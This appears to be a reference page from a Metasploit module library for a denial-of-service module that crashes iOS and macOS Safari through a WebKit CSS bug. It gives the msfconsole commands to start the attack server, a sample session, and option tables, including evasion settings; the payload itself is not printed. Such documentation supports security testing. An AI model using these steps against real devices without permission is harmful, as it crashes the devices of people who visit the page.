iOS Safari Denial of Service with CSS - Metasploit


This page contains detailed information about how to use the auxiliary/dos/apple_ios/webkit_backdrop_filter_blur metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: iOS Safari Denial of Service with CSS
Module: auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
Source code: modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb
Disclosure date: 2018-09-15
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module exploits a vulnerability in WebKit on Apple iOS. If successful, the device will restart after viewing the webpage.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
msf auxiliary(webkit_backdrop_filter_blur) > exploit

Knowledge Base


Vulnerable Application


This module exploits a vulnerability in Safari WebKit to crash the device. The bug affects all iOS devices running iOS 9 up to iOS 12 and Safari on OSX 10.13.6

The device will "re-spring" the operating system, but not actually restart the device.

Verification Steps


  1. Start msfconsole
  2. Do: use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
  3. Do: set URIPATH / (Optional)
  4. Do: run
  5. When you visit the page on a vulnerable device, it should crash the operating system

Scenarios


Safari 602.1 on iOS 10.1.1

msf5 > use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > set URIPATH /
URIPATH => /
msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > run

[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.0.1:8080/
[*] Server started.
[*] 192.168.0.2: Sending response to User-Agent: Mozilla/5.0 (iPod touch; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B150 Safari/602.1

Go back to menu.

Msfconsole Usage


Here is how the dos/apple_ios/webkit_backdrop_filter_blur auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur

msf6 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > show info

       Name: iOS Safari Denial of Service with CSS
     Module: auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-09-15

Provided by:
  Sabri Haddouche

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Description:
  This module exploits a vulnerability in WebKit on Apple iOS. If 
  successful, the device will restart after viewing the webpage.

References:
  https://twitter.com/pwnsdx/status/1040944750973595649
  https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea
  https://nbulischeck.github.io/apple-safari-crash

Module Options


This is a complete list of options available in the dos/apple_ios/webkit_backdrop_filter_blur auxiliary module:

msf6 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > show options

Module options (auxiliary/dos/apple_ios/webkit_backdrop_filter_blur):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Advanced Options


Here is a complete list of advanced options supported by the dos/apple_ios/webkit_backdrop_filter_blur auxiliary module:

msf6 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > show advanced

Module advanced options (auxiliary/dos/apple_ios/webkit_backdrop_filter_blur):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ListenerComm                     no        The specific communication channel to use for this service
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   SendRobots      false            no        Return a robots.txt file if asked for one
   URIHOST                          no        Host to use in URI (useful for tunnels)
   URIPORT                          no        Port to use in URI (useful for tunnels)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/apple_ios/webkit_backdrop_filter_blur module can do:

msf6 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the dos/apple_ios/webkit_backdrop_filter_blur auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Sabri Haddouche

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.